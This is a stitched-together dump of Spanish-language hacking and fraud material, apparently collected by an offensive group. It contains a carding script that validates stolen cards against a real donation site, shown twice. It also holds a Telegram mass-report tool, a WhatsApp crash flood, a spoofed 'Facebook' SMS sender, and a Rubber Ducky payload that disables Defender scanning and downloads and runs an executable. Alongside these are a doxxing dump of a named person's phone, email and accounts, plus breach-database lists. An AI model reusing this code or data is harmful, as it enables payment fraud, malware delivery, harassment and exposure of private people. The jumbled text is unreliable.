⠀⠀⠀⠀⠀⠀⠘⠁⠀⠀⡸⠄⠤⠒⠁⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⢰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠉⠒⠒⠒⡟⠀⠀⠀⠀⡠⠊⠉⢲⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⡸⢀⡀⢀⣠⠃⠀⠀⠀⢰⠁⠀⠀⡜⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⠇⠀⠀⠉⡸⠀⠀⠀⠀⢸⣀⠤⢄⡇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⠢⢄⣀⠠⢇⠀⠀⠀⠀⠈⠁⠀⠀⠘⡀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⡘⣄⠀⠀⢀⡴⠉⠉⠓⢤⠃⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠈⢧⠤⠐⠊⠀⡏⠉⠻⡉⠉⠳⡄⢀⠌⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣀⠀⡰⠁⠀⠀⡇⠀⢀⠕⠃⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠐⠒⠒⠒⠓⠉⠁⠀⠀                                                           
"""

def cargar_config():
    if os.path.exists(configssh):
        with open(configssh, "r") as f:
            return json.load(f)
    return []

def checkpoint(conns):
    with open(configssh, "w") as f:
        json.dump(conns, f, indent=4)

def stringssh(conn_str):

    try:
        creds, host = conn_str.split("@")
        user, password = creds.split("#")
        return {"host": host, "user": user, "port": 22, "password": password}
    except Exception:
        print("Error: Usa usuario#password@host")
        return None

def add_connection():
    print("\n[</>] Elige un metodo de conexion para conectar.")
    print("1) Introducir credenciales manualmente")
    print("2) Usar cadena (recomendado) (usuario#password@host)")
    choice = input("[rootme] Elige opcion: ")

    if choice == "1":
        host = input("Host/IP: ")
        user = input("Usuario: ")
        port = input("Puerto (default 22): ") or "22"
        password = input("Password: ")
        conn = {"host": host, "user": user, "port": int(port), "password": password}

    elif choice == "2":
        conn_str = input("Introduce la cadena SSH: ").strip()
        conn = stringssh(conn_str)
        if not conn:
            return
    else:
        print("Comando Negado")
        return

    conns = cargar_config()
    conns.append(conn)
    checkpoint(conns)
    print(f"\nConexión añadida: {conn['user']}@{conn['host']}:{conn['port']}")

def send_command():
    conns = cargar_config()
    if not conns:
        print("No hay conexiones.")
        return

    cmd = input("[terminal]: ")

    for conn in conns:
        try:
            print(f"\n[{conn['user']}@{conn['host']}:{conn['port']}]")
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(conn["host"], port=conn["port"],
                        username=conn["user"], password=conn["password"])
            stdin, stdout, stderr = ssh.exec_command(cmd)
            output = stdout.read().decode()
            error = stderr.read().decode()
            if output:
                print(output.strip())
            if error:
                print(error.strip())
            ssh.close()
        except Exception as e:
            print(f"Error en {conn['host']}: {e}")

def menu():
    while True:
        conns = cargar_config()
        print(banner)
        print(f"{GREEN}Sesiones almacenadas: {len(conns)}{RESET}")
        print("\nMenú:")
        print("1) Añadir conexion y guardar")
        print("2) Enviar ordenes por terminal")
        print("3) Salir y cerrar")
        choice = input("\nElige opción: ")

        if choice == "1":
            add_connection()
        elif choice == "2":
            send_command()
        elif choice == "3":
            break
        else:
            print("Negado")

if __name__ == "__main__":
    menu()

import requests
import re
from urllib.parse import urlencode
import time

def url_encode(text):
    return urlencode({'data': text}).split('=')[1]

def parse_card_line(line):
   
    parts = line.strip().split('|')
    if len(parts) == 4:
        return {
            'CNUBR': parts[0],
            'MONTH': parts[1],
            'YEAR': parts[2],
            'CVV': parts[3]
        }
    return None

def main(card_data):
    cnubr = card_data.get('CNUBR', '')
    month = card_data.get('MONTH', '')
    year = card_data.get('YEAR', '')
    cvv = card_data.get('CVV', '')

    session = requests.Session()
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
        'Pragma': 'no-cache',
        'Accept': '*/*'
    }

    try:
        response = session.get(
            "https://secure.qgiv.com/api/v1/payment/paymentInitialState?formId=1025141",
            headers=headers
        )
        token_match = re.search(r'<input type="hidden" value="([^"]+)" name="csrfToken" id="csrfToken" />', response.text)
        token = token_match.group(1) if token_match else None

        if not token:
            return "Error: No se pudo obtener el token CSRF"

        date = f"{month}/{year}"
        encoded_date = url_encode(date)

        data = f"Billing_Name=&Card_CVV={cvv}&Card_Exp_Date={encoded_date}&Card_Number={cnubr}"
        headers = {
            'Content-Length': '79',
            'Sec-Ch-Ua-Platform': '"Windows"',
            'Accept-Language': 'es-ES,es;q=0.9',
            'Accept': 'application/json, text/plain, */*',
            'Sec-Ch-Ua': '"Not)A;Brand";v="8", "Chromium";v="138"',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Sec-Ch-Ua-Mobile': '?0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
            'Origin': 'https://secure.qgiv.com',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Dest': 'empty',
            'Sec-Fetch-Storage-Access': 'active',
            'Referer': 'https://secure.qgiv.com/api/v1/payment/paymentInitialState?formId=1025141',
            'Accept-Encoding': 'gzip, deflate, br',
            'Priority': 'u=1, i'
        }

        response = session.post(
            "https://secure.qgiv.com/api/v1/payment/tokenizePayment?csrfToken=" + token,
            data=data,
            headers=headers
        )
        hash_data = response.json().get('token') if response.status_code == 200 else None

        if not hash_data:
            return "Error: No se pudo obtener el hash de tokenización"

        payload = {
            'form': '1025141',
            'productType': '1',
            'submissionType': '1',
            'Is_Multi_Restriction': 'false',
            'Express_Checkout': 'false',
            'Donations[0][Selected_One_Time_Id]': '1242845',
            'Donations[0][Other_One_Time_Amount]': '10',
            'Donations[0][Recurring_Frequency]': 'n',
            'Personal[First_Name]': 'Jorge',
            'Personal[Last_Name]': 'Guillermo',
            'Personal[Email]': 'jorge@gmail.com',
            'Personal[Address]': 'New Orleans',
            'Personal[Address_2]': '',
            'Personal[City]': 'New York',

'Personal[State]': 'New York',
            'Personal[Zip]': '10020',
            'Personal[Country]': 'US',
            'Personal[Opt_In]': 'true',
            'Payment[Payment_Type]': '1',
            'Payment[Card_Token]': hash_data,
            'Billing[Billing_Address]': '',
            'Billing[Billing_Address_2]': '',
            'Billing[Billing_City]': '',
            'Billing[Billing_State]': '',
            'Billing[Billing_Zip]': '',
            'Billing[Billing_Country]': 'US',
            'Billing[Billing_Address_Use_Mailing]': 'true',
            'Restriction[restrictionId]': '861387',
            'Restriction[restriction]': 'I want to support the greatest need',
            'Privacy[Anonymity]': 'false',
            'AbandonedGift[qgiv_abandoned_gift]': 'abandonedGiftDetails_e5391864504e1be8a6534594a2fd868b0d6cd6d4',
            'AbandonedGift[source]': '0'
        }

data_str = urlencode(payload)
        headers = {
            'Content-Length': '1117',
            'Sec-Ch-Ua-Platform': '"Windows"',
            'Accept-Language': 'es-ES,es;q=0.9',
            'Accept': 'application/json, text/plain, */*',
            'Sec-Ch-Ua': '"Not)A;Brand";v="8", "Chromium";v="138"',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Sec-Ch-Ua-Mobile': '?0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
            'Origin': 'https://secure.qgiv.com',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Dest': 'empty',
            'Sec-Fetch-Storage-Access': 'active',
            'Referer': 'https://secure.qgiv.com/for/ymcaofcassclaycounties/embed/72735/',
            'Accept-Encoding': 'gzip, deflate, br',
            'Priority': 'u=1,'
        }

        response = session.post(
            "https://secure.qgiv.com/api/v1/submit?csrfToken=" + token,
            data=data_str,
            headers=headers
        )

        if response.status_code == 200:
            response_data = response.json()
            if response_data.get('success') == True:
                result = "APROBADA"
            else:
                result = "RECHAZADA"
        else:
            result = "ERROR"

      
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
            'Pragma': 'no-cache',
            'Accept': '*/*'
        }

        response = session.get(f"https://bincheck.io/es/details/{cnubr[:6]}", headers=headers)
        
     
        card_type = "No encontrado"
        card_level = "No encontrado"
        country = "No encontrado"
        
        if response.status_code == 200:
          
            type_match = re.search(r'<td[^>]*>Marca de carro</td>\s*<td[^>]*>(.*?)</td>', response.text, re.DOTALL)
            if type_match:
                card_type = type_match.group(1).strip()
            
          
            level_match = re.search(r'<td[^>]*>Tipo de tarjeta</td>\s*<td[^>]*>(.*?)</td>', response.text, re.DOTALL)
            if level_match:
                card_level = level_match.group(1).strip()
            
          
            country_match = re.search(r'<td[^>]*>C贸digo de pa铆s ISO A2</td>\s*<td[^>]*>(.*?)</td>', response.text, re.DOTALL)
            if country_match:
                country = country_match.group(1).strip()

        return {
            'result': result,
            'card_type': card_type,
            'card_level': card_level,
            'country': country,
            'card_number': cnubr
        }

    except Exception as e:
        return {
            'result': f"ERROR: {str(e)}",
            'card_type': "N/A",
            'card_level': "N/A",
            'country': "N/A",
            'card_number': cnubr
        }

def process_cards_from_file(filename, delay=2):
    
    try:
        with open(filename, 'r', encoding='utf-8') as file:
            lines = file.readlines()
        
        print(f"Procesando {len(lines)} tarjetas...\n")
        
        for i, line in enumerate(lines, 1):
            line = line.strip()
            if not line or line.startswith('#'):
                continue
                
            card_data = parse_card_line(line)
            if not card_data:
                print(f"Línea {i}: Formato inválido - {line}")
                continue
                
            print(f"Procesando tarjeta {i}: {card_data['CNUBR']}")
            
          
            result = main(card_data)
            
          
            if isinstance(result, dict):
                print(f"Resultado: {result['result']}")

print(f"Tarjeta: {result['card_number']}")
                print(f"Marca: {result['card_type']}")
                print(f"Tipo: {result['card_level']}")
                print(f"País: {result['country']}")
            else:
                print(f"Resultado: {result}")
            
            print("-" * 50)
            
           
            if i < len(lines):
                time.sleep(delay)
                
    except FileNotFoundError:
        print(f"Error: No se encontró el archivo '{filename}'")
    except Exception as e:
        print(f"Error al procesar el archivo: {str(e)}")

if name == "main":
    
    filename = "cc.txt"  
    
    
    process_cards_from_file(filename)

nombre
provincia
banco 

{
  "operation": "Solicitar dinero",
  "required": 0.50,
  "destinatario": 0.50,
  "message": "Debug BBVA",
  "origin": "45273****",
  "recipients": [
    {
      "name": "Roberto T.F.",
      "number": "6057********",
      "status": "Found",
      "country": "Spain",
      "province": "Malaga",
      "type": "EUR",
      "company": "Santander",
      "avatar_base64": "iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAABwElEQVR4Xu3aMQ7CMAwF0M3//5y0S9sMGEGzVmQ0qOk5RDtLx7aRz5cAAAAAAAAAgG93qT2oXjH1Z3Qv1tCchdldvZU5b2N1zI8BvCk1Pv3X6aM6xxBbR9gJfjqNuf+rQh4wC+V0TXzVgxzDfhJfYpg9cBAn1QtPstOmmF5zLPkQo1/gBfSxOPoF8Psz+wj5sYy9CCVY3r7iZ2mg4p6AtFoKcG1gzhnjH2rEbkCw6gzYhYI3vZ2BxO0g7kXbQ9QVbqdzHlUzAPnq0XG9W7E/hkCtyup7Z3Yt7P4dSpcRO0OK7ipP4b7JvDOf6E+ObqfESkPQEwMZiwI1a26+7ZK9v9udcH/8C0aYrYqZ8CtAAAAAElFTkSuQmCC"
    }
  ]
}

ID 
Dispositivo 
Categoria

{
  "numero": "57321*********",
  "dispositivos": [
    {
      "id": 0,
      "plataforma": "Celular Principal (Android/iOS)",
      "categoria": "primary"
    },
    {
      "id": 83,
      "plataforma": "Android TV",
      "categoria": "tv"
    },
    {
      "id": 85,
      "plataforma": "PlayStation",
      "categoria": "gaming"
    },
    {
      "id": 86,
      "plataforma": "Xbox",
      "categoria": "gaming"
    }
  ]
}

{
    "module": "microsoft",
    "schemaModule": "Microsoft",
    "data": {},
    "spec_format": [
      {
        "registered": {
          "type": "bool",
          "proper_key": "Registered",
          "value": true
        },
        "email_hint": {
          "type": "str",
          "proper_key": "Email Hint",
          "value": "ku *** @gmail.com"
        },
        "platform_variables": [
          {
            "key": "password_login",
            "proper_key": "Password Login",
            "value": true,
            "type": "bool"
          },
          {
            "key": "remote_ngc_login",
            "proper_key": "Remote Ngc Login",
            "value": false,
            "type": "bool"
          },
          {
            "key": "fido_login",
            "proper_key": "Fido Login",
            "value": false,
            "type": "bool"
          },
          {
            "key": "cobasi_app",
            "proper_key": "Cobasi App",
            "value": false,
            "type": "bool"
          },
          {
            "key": "github_fed",
            "proper_key": "Github Fed",
            "value": false,
            "type": "bool"
          },
          {
            "key": "google_fed",
            "proper_key": "Google Fed",
            "value": false,
            "type": "bool"
          },
          {
            "key": "linkedin_fed",
            "proper_key": "Linkedin Fed",
            "value": false,
            "type": "bool"
          }
        ]
      }
    ],

{
  "Number": "+58426***",
  "Status": "banned",
  "Reason": "real fake currency",
  "Perma": true
}

async function handleStatusBox(sock, msg) {
  const text =
    msg.message?.conversation ||
    msg.message?.extendedTextMessage?.text ||
    msg.message?.ephemeralMessage?.message?.extendedTextMessage?.text ||
    "";

  const norm = (s) =>
    s
      .normalize("NFKD")
      .replace(/[\u0300-\u036f]/g, "")
      .toLowerCase();

  const getLine = (label) => {
    const variants = [label, `𝐜𝐡𝐚𝐫:${label}`].map(norm);
    const lines = text.split("\n");
    for (const line of lines) {
      const t = norm(line);
      if (t.includes(norm(label) + ":")) return line.split(":").slice(1).join(":").trim();
      if (t.includes(norm("│" + label) + ":")) return line.split(":").slice(1).join(":").trim();
    }
    return undefined;
  };

  const pick = (a, b, c) => a ?? b ?? c;

  const rawNumber = pick(getLine("Number"), getLine("𝐍𝐮𝐦𝐛𝐞𝐫"));
  const rawStatus = pick(getLine("Status"), getLine("𝐒𝐭𝐚𝐭𝐮𝐬"));
  const rawReason = pick(getLine("Reason"), getLine("𝐑𝐞𝐚𝐬𝐨𝐧"));
  const rawPerma = pick(getLine("Perma"), getLine("𝐏𝐞𝐫𝐦𝐚"));
  const rawModban = pick(getLine("Modban"), getLine("𝐌𝐨𝐝𝐛𝐚𝐧"));

  const toBool = (v) => (typeof v === "string" ? /^(true|1|yes|si)$/i.test(v.trim()) : !!v);

  const data = {};
  if (rawNumber) data.Number = rawNumber;
  if (rawStatus) data.Status = rawStatus.toLowerCase();
  if (rawReason) data.Reason = rawReason;
  if (rawPerma !== undefined) data.Perma = toBool(rawPerma);
  if (rawModban !== undefined) data.Modban = toBool(rawModban);

  await sock.sendMessage(msg.key.remoteJid, { text: JSON.stringify(data, null, 2) }, { quoted: msg });
}

import os
import time
import random
import argparse
from telethon.sync import TelegramClient
from telethon import functions, types, errors
from colorama import Fore, Style, init

init(autoreset=True)

API_ID = 29241476
API_HASH = "7e8192ad4660e0b8907820a8b6cf3858"

BANNER = r"""
   HackPurgatory = Unidad Waffen    Created By RIPNetwork V2.0
"""

def banner():
    print(Fore.CYAN + BANNER + Style.RESET_ALL)

def reporttt(session_name: str, channel: str, repeats: int, total_reports: int, counter: dict):
    try:
        with TelegramClient(session_name, API_ID, API_HASH) as client:
            for i in range(1, repeats + 1):
                counter["done"] += 1
                print(f"[*] Reporte {i}/{repeats} con {session_name}.session a {channel} "
                      f"{Fore.YELLOW}[EN PROCESO]{Style.RESET_ALL} "
                      f"[TOTAL: {counter['done']}/{total_reports}]")

                result = client(functions.account.ReportPeerRequest(
                    peer=client.get_entity(channel),
                    reason=types.InputReportReasonOther(),
                    message="Divulgacion Contenido Sensible"
                ))

                if result:
                    print(f"[*] Reporte {i}/{repeats} con {session_name}.session a {channel} "
                          f"{Fore.GREEN}[COMPLETADO]{Style.RESET_ALL} "
                          f"[TOTAL: {counter['done']}/{total_reports}]")
                else:
                    print(f"[*] Reporte {i}/{repeats} con {session_name}.session a {channel} "
                          f"{Fore.RED}[FALLIDO]{Style.RESET_ALL} "
                          f"[TOTAL: {counter['done']}/{total_reports}]")

                time.sleep(5 + random.randint(1, 5))

    except errors.FloodWaitError as e:
        print(f"[*] {session_name}.session bloqueado, espera {e.seconds}s "
              f"{Fore.RED}[FALLIDO]{Style.RESET_ALL}")
    except Exception as ex:
        print(f"[*] Reporte con {session_name}.session a {channel} "
              f"{Fore.RED}[FALLIDO]{Style.RESET_ALL} ({ex})")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Telegram Mass Reporter")
    parser.add_argument("-s", "--sessions", type=int, required=True, help="sesiones a usar")
    parser.add_argument("-c", "--channel", type=str, required=True, help="Canal (ej: t.me/xxxxx)")
    parser.add_argument("-r", "--repeats", type=int, default=1, help="reportes")
    args = parser.parse_args()

    if not os.path.exists("sessions"):
        os.makedirs("sessions")

    banner()

    total_reports = args.sessions * args.repeats
    counter = {"done": 0}

    for i in range(1, args.sessions + 1):
        session_file = os.path.join("sessions", f"session_{i}")
        reporttt(session_file, args.channel, args.repeats, total_reports, counter)

from telethon import TelegramClient
import asyncio
import socks

accounts = [
    {"session_name": f"session{i+1}",
     "api_id": 29241476,
     "api_hash": "7e8192ad4660e0b8907820a8b6cf3858",
     "proxy": proxy}
    for i, proxy in enumerate([
        ("185.199.229.156", 1080),
        ("134.209.29.120", 1080),
        ("45.77.85.102", 1080),
        ("138.68.60.8", 1080),
        ("192.241.152.85", 1080),
        ("68.183.209.41", 1080),
        ("142.93.39.108", 1080),
        ("159.89.49.200", 1080),
        ("165.227.215.71", 1080),
        ("206.189.70.195", 1080),
    ])
]

clients = []

async def main():
    for acc in accounts:
        proxy = (socks.SOCKS5, acc["proxy"][0], acc["proxy"][1])
        client = TelegramClient(acc["session_name"], acc["api_id"], acc["api_hash"], proxy=proxy)
        await client.start()
        clients.append(client)
    await asyncio.gather(*[client.run_until_disconnected() for client in clients])

if __name__ == "__main__":
    asyncio.run(main())

- Estafas
- Ventas ilegales 
- Precios exagerados 
- Toxicidad

Error: {
  reason: 'temporarily_unavailable',
  status: 'fail',
  retry_after: 300,
  login: '573160890322'
}

package main

import (
"bytes"
"encoding/json"
"fmt"
"net/http"
)

type VonageSMS struct {
APIKey    string `json:"api_key"`
APISecret string `json:"api_secret"`
From      string `json:"from"`
To        string `json:"to"`
Text      string `json:"text"`
ClientRef string `json:"client_ref"` 
}

func sendSMS() {
url := "https://rest.nexmo.com/sms/json"
message := VonageSMS{
APIKey:    "Null",
APISecret: "Null",
From:      "Facebook",        
To:        "+",    
Text:      "H", 
ClientRef: "MSG-12345",     
}

jsonData, _ := json.Marshal(message)

req, _ := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
req.Header.Set("Content-Type", "application/json")

client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error al enviar SMS:", err)
return
}
defer resp.Body.Close()

fmt.Println("SMS enviado con ID:", message.ClientRef)
}

func main() {
sendSMS()
}

- domain/IP/ASN
- domain creation date
- phishing/malware reputation

- Markets
- Forums
- Security
- Tools
- Search
- Communications
- News
- Crypto

- based on Debian 12
- 75+ tools
- simple installation (ISO file)
https://bountyos.github.io/

case "crash-ios": {
  if (!isBot && !isCreator)
    return enviar("\n❌\n")

  const fs = require("fs")
  const targetNumber = "3466666666666@s.whatsapp.net" 
  const imageBuffer = fs.readFileSync("./foto.png")
  const mentionTag = `@${targetNumber.split('@')[0]}`

  for (let i = 0; i < 50; i++) {
    await conn.sendMessage(
      from,
      {
        image: { buffer: imageBuffer },
        caption: `❓ ${mentionTag}`,
        mentions: [targetNumber],
        contextInfo: {
          isForwarded: true,
          forwardingScore: 99999999
        }
      },
      { quoted: info }
    )
  }
  break
}

LinkedIn 2012  
MySpace 2008  
Facebook  
Twitter leaks  
Badoo 2012  
Cracked.to  
Nulled.io 2016  
HackForums.net  
RaidForums  
CrackingForum.com  

- username
- email
- phone
- image
- social
- chat
- gaming
- location
- corporate
- hostings
- data breaches 

- emails
- phones
- links
- subdomains
+ whois and ip info gathering

- Social Search (Global)
- Most Wanted and Sanctioned
- Stats and Docs
- Wikileaks
- Fact-checks
- File Sharing and Clouds
- Webcam Search
- Pastebin

- People Search
- Company Registries
- Land/Property records
- Procurements/Tenders

Número: +50375521865, +50375234446
Eyecon (Data Aggregator)
Nombre: Gnosis Oración
Nombre Real: Benjamín 
Registrado: Sí


Facebook (Social Media)
Nombre: J... W...
Email Hint: p*******5@gmail.com
Registrado: Sí


Facebook (Social Media)
Nombre: K... P...
Email Hint: p******3@gmail.com
Registrado: Sí


Facebook (Social Media)
Nombre: E... B...
Registrado: Sí


Facebook (Social Media)
Nombre: E... F...
Registrado: Sí


WhatsApp (Communication)
Registrado: Sí
Cuenta Business: No


Microsoft (Others)
Registrado: Sí
Tiene login con contraseña: Sí

Nombre: Nova El Ser Supremo
Ubicación: SV, -06:00, address
Teléfono: +50375521865
Carrier: Telemovil El Salvador

Registrado: Sí
Correo: benjuals5@gmail.com
Snapchat (Social Media)
Registrado: Sí

Pinterest (Social Media)
Registrado: Sí

Picsart (Others)
Registrado: Sí

Grammarly (Technology)
Registrado: Sí

Twitter (Social Media)
Registrado: Sí

Pokemon.com (Gaming)
Registrado: Sí

Tumblr (Social Media)
Registrado: Sí

Spotify (Entertainment)
Registrado: Sí

Adobe (Technology)
Tipo de cuenta: Individual
Estado: Activa
Proveedores de autenticación: Facebook, Google
Registrado: Sí


Nvidia (Others)
Registrado: Sí


Google Play Games (Others)
ID: g07126143559803053528
Username: HelpfulWhale46683
Nombre: HelpfulWhale46683
Bio: General
Nivel: 14
Último juego: Clash of Clans
Última conexión: 2025-05-19
Registrado: Sí


Samsung (Others)
Registrado: Sí

Name: Benjamín 
Photo: https://lh3.googleusercontent.com/a-/ALV-UjUmwt7rs3JCzyXr99CAT_dXr2jjL35K0iZQvEJ68uSSW-P7fx1P
Last profile edit : 2025/08/24 02:44:44 (UTC)
Email : benjuals5@gmail.com
Gaia ID : 111482408451401246407

Snapchat
Módulo: snapchat
Nombre: Snapchat
Categoría: Social Media
Estado: found
Registrado: True


Pinterest
Módulo: pinterest
Nombre: Pinterest
Categoría: Social Media
Estado: found
Registrado: True

Picsart
Módulo: picsart
Nombre: Picsart
Categoría: Others
Estado: found
Registrado: True


Grammarly
Módulo: grammarly
Nombre: Grammarly
Categoría: Technology
Estado: found
Registrado: True


Twitter
Módulo: twitter
Nombre: Twitter
Categoría: Social Media
Estado: found
Registrado: True


Pokemon.com
Módulo: pokemon
Nombre: Pokemon.com
Categoría: Gaming
Estado: found
Registrado: True


Tumblr
Módulo: tumblr
Nombre: Tumblr
Categoría: Social Media
Estado: found
Registrado: True


Spotify
Módulo: spotify
Nombre: Spotify
Categoría: Entertainment
Estado: found
Registrado: True


Adobe
Módulo: adobe
Nombre: Adobe
Categoría: Technology
Estado: found
Registrado: True
Status: active
Type: individual
Authentication Providers: [facebook, google]


Nvidia
Módulo: nvidia
Nombre: Nvidia
Categoría: Others
Estado: found
Registrado: True


Play Games
Módulo: playgames
Nombre: Play Games
Categoría: Others
Estado: found
Registrado: True
Id: g07126143559803053528
Nombre usuario: HelpfulWhale46683
Username: HelpfulWhale46683
Bio: General
Nivel: 14
Experiencia:
XP actual: 130500
Rango nivel 14: 130000 - 150000
Próximo nivel: 15 (150000 - 200000 XP)
Logros desbloqueados: 126
Último juego jugado: Clash of Clans
Última conexión: 2025-05-19 01:18:05
Perfil visible: True
Banner URL: https://lh3.googleusercontent.com/AogCtkMsMmscGAqvG5xC5h5Oy0XwlL9nIE9fq8HR2rXlRl5cInsZxnhrkqH0zlPE0AmGoe_x0WzzSck5Tb0
Imagen de perfil: https://lh3.googleusercontent.com/XGMGc4QzvOYO06MXEh2VhtLMWSN3tCgjHmJw3hAokHawdxMfjzghnUIbp0Feq4YPsy7m


Samsung
Módulo: samsung
Nombre: Samsung
Categoría: Others
Estado: found
Registrado: True

https://www.google.com/maps/contrib/{GAIA ID}

/data/data/app.source.getcontact/shared_prefs/GetContactSettingsPref.xml

Número: 5731**********
País: Colombia
Operador: Movistar
Posibles nombres: Daniel U***

Número: 3462*********
País: España
Operador: Lycamovil 
Posibles nombres: Juan Carlos Santos

Ejemplo: Un atacante puede pedirte que respondas una encuesta rápida y, una vez que accedes, puede pedirte información más detallada o personal.

Ejemplo: Un atacante puede pedirte que reveles tu contraseña (una solicitud grande y poco razonable), y cuando te niegas, te pide simplemente tu dirección de correo electrónico (una solicitud más pequeña y razonable).

Ejemplo: Un atacante puede ofrecerte un software gratuito que parece útil. Después de que lo descargas e instalas, te informa que debes pagar una cuota para desbloquear funciones esenciales o para evitar consecuencias negativas.

Ejemplo: Un atacante puede anunciar un trabajo muy bien pagado, y cuando el objetivo muestra interés, le piden que pague una tarifa de registro o formación antes de poder acceder al empleo.

Ejemplo: Un atacante puede ofrecerte ayuda o un recurso gratuito y luego pedirte un favor a cambio, como compartir información sensible.

Ejemplo: Un atacante puede afirmar que una oferta o una información solo está disponible por un tiempo limitado para inducirte a actuar rápidamente sin pensar demasiado.

- domain/IP/ASN
- domain creation date
- phishing/malware reputation

- SANS posters & cheatsheets
- Blog feed
- YouTube feed
- Memory tools
- Network tools
- Malware tools
- getting started guides

- getting started guides
- VM/distros
- decoding tools
- mobile forensics
- network analysis
- metadata tools
- SANS posters/cheatsheets

- digital Investigations
- cybersecurity
- investigative journalism
- OPSEC
- sourcing
- national security
- intelligence mindset

Bluesky
Mastodon
Nostr
TruthSocial
Reddit
Snapchat
Twitter (via optional RapidAPI)

REM Payload Created by 0xNullSec
REM Payload to download malware with high privileges
REM The payload is not fully optimized as it is only for a PoC
REM In my case it is configured for the Spanish keyboard.

DELAY 1000
WINDOWS r 
DELAY 500
STRING powershell -Command "Start-Process PowerShell -Verb RunAs
ENTER 
DELAY 2500 
TAB
TAB
ENTER 
DELAY 1000
WINDOWS UP
DELAY 500
STRING whoami /priv
ENTER
DELAY 1000
STRING Add-MpPreference -ExclusionPath $env:TEMP
ENTER
DELAY 500
STRING $destino = "$env:TEMP\client.exe"
ENTER
STRING Invoke-WebRequest -Uri 'http://192.168.1.8:8000/client.exe' -OutFile $destino
ENTER
STRING Start-Process $destino
ENTER

import requests
import re
from urllib.parse import urlencode
import time

def url_encode(text):
    return urlencode({'data': text}).split('=')[1]

def parse_card_line(line):
   
    parts = line.strip().split('|')
    if len(parts) == 4:
        return {
            'CNUBR': parts[0],
            'MONTH': parts[1],
            'YEAR': parts[2],
            'CVV': parts[3]
        }
    return None

def main(card_data):
    cnubr = card_data.get('CNUBR', '')
    month = card_data.get('MONTH', '')
    year = card_data.get('YEAR', '')
    cvv = card_data.get('CVV', '')

    session = requests.Session()
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
        'Pragma': 'no-cache',
        'Accept': '*/*'
    }

    try:
        response = session.get(
            "https://secure.qgiv.com/api/v1/payment/paymentInitialState?formId=1025141",
            headers=headers
        )
        token_match = re.search(r'<input type="hidden" value="([^"]+)" name="csrfToken" id="csrfToken" />', response.text)
        token = token_match.group(1) if token_match else None

        if not token:
            return "Error: No se pudo obtener el token CSRF"

        date = f"{month}/{year}"
        encoded_date = url_encode(date)

        data = f"Billing_Name=&Card_CVV={cvv}&Card_Exp_Date={encoded_date}&Card_Number={cnubr}"
        headers = {
            'Content-Length': '79',
            'Sec-Ch-Ua-Platform': '"Windows"',
            'Accept-Language': 'es-ES,es;q=0.9',
            'Accept': 'application/json, text/plain, */*',
            'Sec-Ch-Ua': '"Not)A;Brand";v="8", "Chromium";v="138"',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Sec-Ch-Ua-Mobile': '?0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
            'Origin': 'https://secure.qgiv.com',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Dest': 'empty',
            'Sec-Fetch-Storage-Access': 'active',
            'Referer': 'https://secure.qgiv.com/api/v1/payment/paymentInitialState?formId=1025141',
            'Accept-Encoding': 'gzip, deflate, br',
            'Priority': 'u=1, i'
        }

        response = session.post(
            "https://secure.qgiv.com/api/v1/payment/tokenizePayment?csrfToken=" + token,
            data=data,
            headers=headers
        )
        hash_data = response.json().get('token') if response.status_code == 200 else None

        if not hash_data:
            return "Error: No se pudo obtener el hash de tokenización"

        payload = {
            'form': '1025141',
            'productType': '1',
            'submissionType': '1',
            'Is_Multi_Restriction': 'false',
            'Express_Checkout': 'false',
            'Donations[0][Selected_One_Time_Id]': '1242845',
            'Donations[0][Other_One_Time_Amount]': '10',
            'Donations[0][Recurring_Frequency]': 'n',
            'Personal[First_Name]': 'Jorge',
            'Personal[Last_Name]': 'Guillermo',
            'Personal[Email]': 'jorge@gmail.com',
            'Personal[Address]': 'New Orleans',
            'Personal[Address_2]': '',
            'Personal[City]': 'New York',